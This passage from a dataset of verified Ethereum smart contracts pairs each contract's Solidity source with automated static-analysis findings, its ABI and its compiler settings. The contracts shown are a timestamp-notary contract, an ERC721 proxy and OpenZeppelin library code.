| [{"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["450"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["414", "429", "440"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["307", "279", "258", "256", "305", "280"]}, {"defect": "Dependency_of_timestamp", "type": "Business_logic", "severity": "Medium", "lines": ["508"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Counters.sol": [21, 22, 23]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Counters.sol": [40, 41, 39]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Counters.sol": [32, 33, 34, 35, 36, 37, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"@openzeppelin/contracts/utils/Counters.sol": [25, 26, 27, 28, 29]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"@openzeppelin/contracts/utils/Counters.sol": [3]}}] | [] | [{"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 277, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 283, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 300, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 311, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 437, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 947, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1029, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1032, "severity": 1}, {"rule": "SOLIDITY_ADDRESS_HARDCODED", "line": 1038, "severity": 1}, {"rule": "SOLIDITY_ERC20_APPROVE", "line": 154, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 26, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 386, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 462, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 553, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 639, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 671, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 699, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 763, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 869, "severity": 1}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1093, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 58, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 60, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 62, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 64, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 65, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 403, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 483, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 486, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 790, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 791, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 793, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 794, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 795, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 889, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 891, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 893, "severity": 1}, {"rule": "SOLIDITY_REVERT_REQUIRE", "line": 895, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 920, "severity": 1}, {"rule": "SOLIDITY_SHOULD_NOT_BE_PURE", "line": 978, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 920, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 982, "severity": 1}, {"rule": "SOLIDITY_SHOULD_RETURN_STRUCT", "line": 1018, "severity": 1}, {"rule": "SOLIDITY_UPGRADE_TO_050", "line": 688, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 930, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 941, "severity": 1}, {"rule": "SOLIDITY_USING_INLINE_ASSEMBLY", "line": 985, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 13, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 76, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 410, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 494, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 811, "severity": 1}] | [{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"DOMAIN_SEPARATOR","outputs":[{"internalType":"bytes32","name":"","type":"bytes32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"mint","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"nonces","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"value","type":"uint256"},{"internalType":"uint256","name":"deadline","type":"uint256"},{"internalType":"uint8","name":"v","type":"uint8"},{"internalType":"bytes32","name":"r","type":"bytes32"},{"internalType":"bytes32","name":"s","type":"bytes32"}],"name":"permit","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"}] | v0.8.6+commit.11564f7e | true | 200 | Default | false | |||||
QUANTLCA | 0xab85f7edba8874c379b61d14fbd4fb284ec20d0d | Solidity | pragma solidity ^0.5.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract Operable is Ownable {
event OperatorAdded(address indexed account);
event OperatorRemoved(address indexed account);
mapping (address => bool) private _operators;
constructor() public {
_addOperator(msg.sender);
}
modifier onlyOperator() {
require(isOperator(msg.sender));
_;
}
function isOperator(address account)
public
view
returns (bool)
{
require(account != address(0));
return _operators[account];
}
function addOperator(address account)
public
onlyOwner
{
_addOperator(account);
}
function removeOperator(address account)
public
onlyOwner
{
_removeOperator(account);
}
function _addOperator(address account)
internal
{
require(account != address(0));
_operators[account] = true;
emit OperatorAdded(account);
}
function _removeOperator(address account)
internal
{
require(account != address(0));
_operators[account] = false;
emit OperatorRemoved(account);
}
}
contract TimestampNotary is Operable {
struct Time {
uint32 declared;
uint32 recorded;
}
mapping (bytes32 => Time) _hashTime;
event Timestamp(
bytes32 indexed hash,
uint32 declaredTime,
uint32 recordedTime
);
/**
* @dev Allows an operator to timestamp a new hash value.
* @param hash bytes32 The hash value to be stamped in the contract storage
* @param declaredTime uint The timestamp associated with the given hash value
*/
function addTimestamp(bytes32 hash, uint32 declaredTime)
public
onlyOperator
returns (bool)
{
_addTimestamp(hash, declaredTime);
return true;
}
/**
* @dev Registers the timestamp hash value in the contract storage, along with
* the current and declared timestamps.
* @param hash bytes32 The hash value to be registered
* @param declaredTime uint32 The declared timestamp of the hash value
*/
function _addTimestamp(bytes32 hash, uint32 declaredTime) internal {
uint32 recordedTime = uint32(block.timestamp);
_hashTime[hash] = Time(declaredTime, recordedTime);
emit Timestamp(hash, declaredTime, recordedTime);
}
/**
* @dev Allows anyone to verify the declared timestamp for any given hash.
*/
function verifyDeclaredTime(bytes32 hash)
public
view
returns (uint32)
{
return _hashTime[hash].declared;
}
function verifyRecordedTime(bytes32 hash)
public
view
returns (uint32)
{
return _hashTime[hash].recorded;
}
}
contract LinkedTokenAbstract {
function totalSupply() public view returns (uint256);
function balanceOf(address account) public view returns (uint256);
}
contract LinkedToken is Ownable {
address internal _token;
event TokenChanged(address indexed token);
function tokenAddress() public view returns (address) {
return _token;
}
function setToken(address token)
public
onlyOwner
returns (bool)
{
_setToken(token);
emit TokenChanged(token);
return true;
}
function _setToken(address token) internal {
require(token != address(0));
_token = token;
}
}
contract QUANTLCA is TimestampNotary, LinkedToken {
string public constant name = 'QUANTL Certification Authority';
} | [{"defect": "Bad_randomness", "type": "Business_logic", "severity": "Medium", "lines": ["181"]}, {"defect": "Erroneous_constructor_name", "type": "Access_control", "severity": "Medium", "lines": ["inkedTokenAbstract.L208", "242"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["243"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["63", "74", "79"]}] | [{"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"QUANTLCA.sol": [32, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"QUANTLCA.sol": [14, 15, 16, 17, 18, 19]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"QUANTLCA.sol": [6, 7, 8, 9, 10, 11]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"QUANTLCA.sol": [44, 45, 46, 47]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"QUANTLCA.sol": [35, 36, 37, 38, 39, 40, 41]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [224, 225, 226, 227, 228, 229, 230, 231, 232]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [210]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [165, 166, 167, 168, 169, 170, 171, 172]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [64, 65, 63]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [116, 117, 118, 119, 120, 121]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [80, 81, 79]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [128, 123, 124, 125, 126, 127]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [198, 199, 200, 201, 202, 203, 204]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [209]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [192, 193, 194, 195, 189, 190, 191]}}, {"check": "external-function", "impact": "Optimization", "confidence": "High", "lines": {"QUANTLCA.sol": [219, 220, 221]}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {}}, {"check": "solc-version", "impact": "Informational", "confidence": "High", "lines": {"QUANTLCA.sol": [1]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"QUANTLCA.sol": [152]}}, {"check": "naming-convention", "impact": "Informational", "confidence": "High", "lines": {"QUANTLCA.sol": [215]}}] | [] | [{"rule": "SOLIDITY_OVERPOWERED_ROLE", "line": 224, "severity": 2}, {"rule": "SOLIDITY_PRAGMAS_VERSION", "line": 1, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 52, "severity": 1}, {"rule": "SOLIDITY_PRIVATE_MODIFIER_DONT_HIDE_DATA", "line": 96, "severity": 1}, {"rule": "SOLIDITY_VISIBILITY", "line": 152, "severity": 1}] | [{"constant":true,"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"token","type":"address"}],"name":"setToken","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[],"name":"isOwner","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addOperator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[],"name":"tokenAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"verifyDeclaredTime","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"removeOperator","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":true,"inputs":[{"internalType":"bytes32","name":"hash","type":"bytes32"}],"name":"verifyRecordedTime","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"payable":false,"stateMutability":"view","type":"function"},{"constant":false,"inputs":[{"internalType":"bytes32","name":"hash","type":"bytes32"},{"internalType":"uint32","name":"declaredTime","type":"uint32"}],"name":"addTimestamp","outputs":[{"internalType":"bool","name":"","type":"bool"}],"payable":false,"stateMutability":"nonpayable","type":"function"},{"constant":false,"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"payable":false,"stateMutability":"nonpayable","type":"function"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"token","type":"address"}],"name":"TokenChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"bytes32","name":"hash","type":"bytes32"},{"indexed":false,"internalType":"uint32","name":"declaredTime","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"recordedTime","type":"uint32"}],"name":"Timestamp","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"OperatorAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"account","type":"address"}],"name":"OperatorRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"}] | v0.5.11+commit.c082d0b4 | true | 200 | Default | MIT | false | bzzr://7f5286716bfc4e30d5e0aa5d898ed4b32332e31b0684247f57c577c59dd9f331 |
|||
BoY | 0xaad0928a99a99cd71f901e07b132bdb9c8e6e3a3 | Solidity | // File: contracts/BoY.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @title: The Books of Ye
/// @author: manifold.xyz
import "./ERC721Creator.sol";
////////////////////////////////////////////////////////////////////////////////////////////
// //
// //
// @@@@@* //
// &@@@@@@@@@@@@@@@@@@@@@@@@@& //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //
// #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@* //
// #@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //
// @@@@@@@@@@@@@@@@@@@, @@@@@@@@@@@ //
// *@@@@@@@@@@@@@@@@@, @@@@@@@@ //
// @@@@@@@@@@@@@@@@@@ @@@@@@@( //
// @@@@@@@@@@@@@@@@@@, #@@@@@@@ //
// @@@@@@@@@@@@@@@@@@@ @@@@@@ //
// %@@@@@@@@@@@@@@@@@@ %@@@@@ //
// @@@@@@@@@@@@@@@@@@@ @@@@ //
// @@@@@@@@@@@@@@@@@@@@( ,@@@@ //
// @@@@%#@@@@@@@@@@@@@@@ #@@@ //
// @@@ @@@@@@@@@@@@@@@@@ @@@ //
// @@* @@@@@@@@@@@@@@@@@@& %@@@@@ (@@& # @ @@@ //
// @@ ,@@@@@@@@@@@@ (@ @ @@@@@@(( @/@@@@ @@@ //
// @@ @@@@@@@@@,@@@@@@@@@, & @@@@@ //
// % @@@@@@@@@@@@@@@@@@@@@@@, @@@@@@@@@@@@ *@@@@ //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@ (@@@@@@@@@@@@@@@@@ @@@@ //
// % @@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@@@@ @@@# //
// @@ @@@@@@@@ %@@@@ @@@ //
// @@@ @@@@@@@ @@@@@ @@@ @@@ //
// @@@ @@@@@ /@@@@@ *@@@@@@/ //
// @@@@ @@@@/ @@@@@@ @@@@@@ //
// *@@@@@@@@@@@/ @@@@@@ *@& //
// @@@@@@@@@@@@@@@ @@ @@* //
// #@@@@@@@@@@@@@@@ @@ .@@. @@@ //
// @@@@@@@@@@@@@@@ @@ @@@@@@& .@ //
// @@@@@@@@@@@@@@@% @@@@@@@@@@@@ //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@#@@ //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@@@ //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@ @@ &@ //
// @@@@@@@@@@@@@@@@@@@@@@. @# &@@@@ @. //
// @@@@@@@@@@@@@@@@@@@ @@@@@ *@ @ //
// @@@@@@@@@@@@@@@@@@ @@@ (@& , //
// ,@@@@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@, #@ @@ //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @@@ @@. .@@@# //
// #@@@@@@@@@@@@@@@@@@ @@@@@@@@@@@@@@@@@ //
// .@@@@@@@@@@@@@@@@@@@@@@@@* (@@@@@@@@@@@@@@@@@@* //
// @@@@@@@@@@@@@@@@@@@@@@@@@@#@@@@@@@@@@@@@@@@ //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@( //
// @@@@@@@@@@@@@@@@@@@@@@@@@@@. //
// @@@@@@@@@@@@@@@@( //
// //
// //
// //
////////////////////////////////////////////////////////////////////////////////////////////
contract BoY is ERC721Creator {
constructor() ERC721Creator("The Books of Ye", "BoY") {}
}
// File: contracts/ERC721Creator.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/// @author: manifold.xyz
import "@openzeppelin/contracts/proxy/Proxy.sol";
import "@openzeppelin/contracts/utils/Address.sol";
import "@openzeppelin/contracts/utils/StorageSlot.sol";
contract ERC721Creator is Proxy {
constructor(string memory name, string memory symbol) {
assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1));
StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a;
Address.functionDelegateCall(
0xe4E4003afE3765Aca8149a82fc064C0b125B9e5a,
abi.encodeWithSignature("initialize(string,string)", name, symbol)
);
}
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation address.
*/
function implementation() public view returns (address) {
return _implementation();
}
function _implementation() internal override view returns (address) {
return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;
}
}
// File: @openzeppelin/contracts/proxy/Proxy.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)
pragma solidity ^0.8.0;
/**
* @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM
* instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to
* be specified by overriding the virtual {_implementation} function.
*
* Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a
* different contract through the {_delegate} function.
*
* The success and return data of the delegated call will be returned back to the caller of the proxy.
*/
abstract contract Proxy {
/**
* @dev Delegates the current call to `implementation`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _delegate(address implementation) internal virtual {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 {
revert(0, returndatasize())
}
default {
return(0, returndatasize())
}
}
}
/**
* @dev This is a virtual function that should be overriden so it returns the address to which the fallback function
* and {_fallback} should delegate.
*/
function _implementation() internal view virtual returns (address);
/**
* @dev Delegates the current call to the address returned by `_implementation()`.
*
* This function does not return to its internall call site, it will return directly to the external caller.
*/
function _fallback() internal virtual {
_beforeFallback();
_delegate(_implementation());
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other
* function in the contract matches the call data.
*/
fallback() external payable virtual {
_fallback();
}
/**
* @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data
* is empty.
*/
receive() external payable virtual {
_fallback();
}
/**
* @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`
* call, or as part of the Solidity `fallback` or `receive` functions.
*
* If overriden should call `super._beforeFallback()`.
*/
function _beforeFallback() internal virtual {}
}
// File: @openzeppelin/contracts/utils/Address.sol
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts v4.4.1 (utils/Address.sol)
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
